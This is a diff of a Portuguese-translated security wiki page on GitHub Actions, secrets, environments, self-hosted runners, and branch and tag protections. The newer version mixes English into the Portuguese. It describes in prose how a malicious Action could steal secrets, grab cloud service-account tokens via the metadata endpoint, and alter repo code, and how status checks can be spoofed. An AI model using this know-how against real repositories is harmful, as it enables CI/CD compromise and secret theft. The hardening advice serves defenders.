-Isso **não é uma maneira de autenticar no github**, mas uma **ação maliciosa** do Github poderia obter **acesso não autorizado ao github** e **dependendo** dos **privilégios** dados à Ação, vários **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informações.
+Isso **isn't a way to authenticate in github**, mas uma **malicious** Github Action poderia obter **unauthorised access to github** e **depending** nos **privileges** dados à Action vários **different attacks** poderiam ser realizados. Veja abaixo para mais informação.
 
-## Ações Git
+## Git Actions
 
-As ações Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
+Git actions permite automatizar a **execution of code when an event happen**. Normalmente o código executado está **somehow related to the code of the repository** (talvez build a docker container ou checar que o PR não contenha secrets).
 
-### Configuração
+### Configuration
 
-Em _https://github.com/organizations/\/settings/actions_ é possível verificar a **configuração das ações do github** para a organização.
+Em _https://github.com/organizations/\/settings/actions_ é possível verificar a **configuration of the github actions** para a organização.
 
-É possível proibir completamente o uso de ações do github, **permitir todas as ações do github**, ou apenas permitir certas ações.
+É possível desabilitar totalmente o uso de github actions, **allow all github actions**, ou apenas permitir certas actions.
 
-É também possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
+Também é possível configurar **who needs approval to run a Github Action** e as **permissions of the GITHUB_TOKEN** de uma Github Action quando ela é executada.
 
-### Segredos do Git
+### Git Secrets
 
-A Ação do Github geralmente precisa de algum tipo de segredos para interagir com o github ou aplicativos de terceiros. Para **evitar colocá-los em texto claro** no repositório, o github permite colocá-los como **Segredos**.
+Github Action geralmente precisa de algum tipo de secrets para interagir com github ou aplicações de terceiros. Para **avoid putting them in clear-text** no repo, github permite colocá-los como **Secrets**.
 
-Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo como:
+Esses secrets podem ser configurados **para o repo ou para toda a organization**. Então, para que a **Action to be able to access the secret** você precisa declará-lo assim:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,82 +168,102 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Segredos **só podem ser acessados a partir das Github Actions** que os têm declarados.
+> Secrets **só podem ser acessados pelas Github Actions** nas quais estão declarados.
 
-> Uma vez configurados no repositório ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles só poderão **alterá-los**.
+> Uma vez configurados no repo ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles apenas poderão **alterá-los**.
 
-Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você só poderá acessar os segredos declarados para a Action).
+Portanto, a **única forma de roubar github secrets é conseguir acessar a máquina que está executando a Github Action** (nesse cenário você conseguirá acessar apenas os secrets declarados para a Action).
 
 ### Ambientes do Git
 
-O Github permite criar **ambientes** onde você pode salvar **segredos**. Em seguida, você pode dar à ação do github acesso aos segredos dentro do ambiente com algo como:
+O Github permite criar **ambientes** onde você pode salvar **secrets**. Em seguida, você pode dar à Github Action acesso aos secrets dentro do ambiente com algo como:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Você pode configurar um ambiente para ser **acessado** por **todos os ramos** (padrão), **apenas ramos protegidos** ou **especificar** quais ramos podem acessá-lo.\
-Também é possível definir um **número de revisões necessárias** antes de **executar** uma **ação** usando um **ambiente** ou **aguardar** algum **tempo** antes de permitir que os deployments prossigam.
+Você pode configurar um environment para ser **acessado** por **todas as branches** (padrão), **apenas branches protegidas** ou **especificar** quais branches podem acessá‑lo.\
+Adicionalmente, as proteções do environment incluem:
+- **Revisores obrigatórios**: bloqueia jobs que visam o environment até serem aprovados. Habilite **Prevent self-review** para impor o princípio dos quatro olhos na própria aprovação.
+- **Deployment branches and tags**: restringe quais branches/tags podem fazer deploy para o environment. Prefira selecionar branches/tags específicos e garanta que essas branches sejam protegidas. Nota: a opção "Protected branches only" aplica‑se às proteções clássicas de branch e pode não se comportar como esperado se estiver usando rulesets.
+- **Wait timer**: atrasar deploys por um período configurável.
 
+Também é possível definir um **número de revisões obrigatórias** antes de **executar** uma **action** usando um **environment** ou **aguardar** algum **tempo** antes de permitir que os deploys prossigam.
 ### Git Action Runner
 
-Uma Github Action pode ser **executada dentro do ambiente github** ou pode ser executada em uma **infraestrutura de terceiros** configurada pelo usuário.
+Uma Github Action pode ser **executada dentro do github environment** ou pode ser executada em uma **infraestrutura de terceiros** configurada pelo usuário.
 
-Várias organizações permitirão a execução de Github Actions em uma **infraestrutura de terceiros**, pois costuma ser **mais barato**.
+Várias organizações permitem executar Github Actions em uma **infraestrutura de terceiros** pois costuma ser **mais barato**.
 
-Você pode **listar os runners auto-hospedados** de uma organização em _https://github.com/organizations/\/settings/actions/runners_
+Você pode **listar os self-hosted runners** de uma organização em _https://github.com/organizations/\/settings/actions/runners_
 
-A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não github** é procurar por `runs-on: self-hosted` na configuração yaml da Github Action.
+A forma de encontrar quais **Github Actions estão sendo executadas em infraestrutura não‑github** é buscar por `runs-on: self-hosted` no yaml de configuração da Github Action.
 
-**Não é possível executar uma Github Action de uma organização dentro de uma caixa auto-hospedada** de uma organização diferente porque **um token único é gerado para o Runner** ao configurá-lo para saber a qual runner pertence.
+Não é **possível executar uma Github Action de uma organização dentro de uma máquina self hosted** de uma organização diferente porque **um token único é gerado para o Runner** ao configurá‑lo para identificar a qual organização o runner pertence.
 
-Se o **Github Runner personalizado estiver configurado em uma máquina dentro da AWS ou GCP**, por exemplo, a Action **pode ter acesso ao endpoint de metadados** e **roubar o token da conta de serviço** com a qual a máquina está sendo executada.
+Se o **Github Runner customizado estiver configurado em uma máquina dentro de AWS ou GCP**, por exemplo, a Action **poderia ter acesso ao metadata endpoint** e **roubar o token da service account** com o qual a máquina está executando.
 
-### Comprometimento da Git Action
+### Git Action Compromise
 
-Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
+Se todas as actions (ou uma action maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que seja **maliciosa** e que **comprometa** o **container** onde está sendo executada.
 
 > [!CAUTION]
-> Uma **Github Action maliciosa** executada poderia ser **abusada** pelo atacante para:
+> Uma execução de **malicious Github Action** poderia ser **abusada** pelo atacante para:
 >
-> - **Roubar todos os segredos** aos quais a Action tem acesso
-> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token SA usado para executar a máquina pode ser acessado (provavelmente via o serviço de metadados)
-> - **Abusar do token** usado pelo **workflow** para **roubar o código do repositório** onde a Action é executada ou **até mesmo modificá-lo**.
+> - **Roubar todos os secrets** que a Action tiver acesso
+> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token da SA usado para rodar a máquina pode ser acessado (provavelmente via metadata service)
+> - **Abusar o token** usado pelo **workflow** para **roubar o código do repo** onde a Action é executada ou **até mesmo modificá‑lo**.
 
-## Proteções de Ramo
+## Branch Protections
 
-As proteções de ramo são projetadas para **não dar controle total de um repositório** aos usuários. O objetivo é **implementar vários métodos de proteção antes de poder escrever código dentro de algum ramo**.
+Branch protections são projetadas para **não dar controle completo de um repositório** aos usuários. O objetivo é **colocar vários métodos de proteção antes de ser possível escrever código em alguma branch**.
 
-As **proteções de ramo de um repositório** podem ser encontradas em _https://github.com/\/\/settings/branches_
+As **branch protections de um repositório** podem ser encontradas em _https://github.com/\/\/settings/branches_
 
 > [!NOTE]
-> **Não é possível definir uma proteção de ramo em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório.
+> Não é **possível definir uma branch protection a nível de organização**. Portanto todas devem ser declaradas em cada repo.
 
-Diferentes proteções podem ser aplicadas a um ramo (como ao master):
+Diferentes proteções podem ser aplicadas a uma branch (como master):
 
-- Você pode **exigir um PR antes de mesclar** (então você não pode mesclar código diretamente sobre o ramo). Se isso for selecionado, outras proteções podem estar em vigor:
-- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não consiga mesclar código diretamente.
-- **Desconsiderar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e, em seguida, o usuário poderia adicionar código malicioso e mesclá-lo.
-- **Exigir revisões de Proprietários de Código**. Pelo menos 1 proprietário de código do repositório precisa aprovar o PR (para que usuários "aleatórios" não possam aprová-lo)
-- **Restringir quem pode desconsiderar revisões de pull request.** Você pode especificar pessoas ou equipes autorizadas a desconsiderar revisões de pull request.
-- **Permitir que atores especificados contornem os requisitos de pull request**. Esses usuários poderão contornar restrições anteriores.
-- **Exigir que verificações de status sejam aprovadas antes de mesclar.** Algumas verificações precisam ser aprovadas antes de poder mesclar o commit (como uma ação do github verificando se não há nenhum segredo em texto claro).
-- **Exigir resolução de conversas antes de mesclar**. Todos os comentários sobre o código precisam ser resolvidos antes que o PR possa ser mesclado.
+- Você pode **exigir um PR antes do merge** (assim não é possível fazer merge direto na branch). Se isso for selecionado, outras proteções podem estar em vigor:
+- **Exigir um número de aprovações**. É muito comum exigir 1 ou 2 pessoas adicionais para aprovar seu PR para que um único usuário não consiga fazer merge diretamente.
+- **Descartar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e depois adicionar código malicioso e fazer o merge.
+- **Exigir aprovação do push mais recente passível de revisão**. Garante que quaisquer novos commits após uma aprovação (incluindo pushes por outros colaboradores) reativem a revisão para que um atacante não possa enviar mudanças após aprovação e efetuar o merge.
+- **Exigir reviews de Code Owners**. Pelo menos 1 code owner do repo precisa aprovar o PR (assim usuários "aleatórios" não podem aprovar).
+- **Restringir quem pode descartar revisões de pull request.** Você pode especificar pessoas ou times autorizados a descartar revisões.
+- **Permitir atores especificados a contornar requisitos de pull request**. Esses usuários poderão contornar as restrições anteriores.
+- **Exigir que status checks passem antes do merge.** Alguns checks precisam passar antes de ser possível mesclar o commit (como um GitHub App reportando resultados de SAST). Dica: vincule checks obrigatórios a um GitHub App específico; caso contrário qualquer app poderia falsificar o check via Checks API, e muitos bots aceitam diretivas de pular (por exemplo, "@bot-name skip").
+- **Exigir resolução de conversas antes do merge**. Todos os comentários no código precisam ser resolvidos antes do PR poder ser mesclado.
 - **Exigir commits assinados**. Os commits precisam ser assinados.
-- **Exigir histórico linear.** Impedir que commits de mesclagem sejam enviados para ramos correspondentes.
-- **Incluir administradores**. Se isso não estiver definido, os administradores podem contornar as restrições.
-- **Restringir quem pode enviar para ramos correspondentes**. Restringir quem pode enviar um PR.
+- **Exigir histórico linear.** Impede que merge commits sejam enviados para branches correspondentes.
+- **Incluir administradores**. Se isso não estiver definido, admins podem contornar as restrições.
+- **Restringir quem pode push para branches correspondentes**. Restringe quem pode enviar um PR.
 
 > [!NOTE]
-> Como você pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **repositórios podem estar protegidos, evitando que você envie código para o master**, por exemplo, para comprometer o pipeline de CI/CD.
+> Como você pode ver, mesmo se você conseguir obter algumas credenciais de um usuário, **os repos podem estar protegidos evitando que você envie código para master** por exemplo para comprometer o CI/CD.
 
-## Referências
+## Tag Protections
+
+Tags (como latest, stable) são mutáveis por padrão. Para impor um fluxo de quatro olhos nas atualizações de tag, proteja tags e encadeie proteções através de environments e branches:
+
+1) Na regra de proteção de tag, habilite **Require deployments to succeed** e exija um deployment bem‑sucedido para um environment protegido (por exemplo, prod).
+2) No environment alvo, restrinja **Deployment branches and tags** para a release branch (por exemplo, main) e opcionalmente configure **Required reviewers** com **Prevent self-review**.
+3) Na release branch, configure branch protections para **Exigir um pull request**, defina aprovações ≥ 1, e habilite tanto **Dismiss approvals when new commits are pushed** quanto **Require approval of the most recent reviewable push**.
+
+Essa cadeia impede que um único colaborador retague ou force‑publique releases editando o workflow YAML, já que os gates de deployment são aplicados fora dos workflows.
+
+## References
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}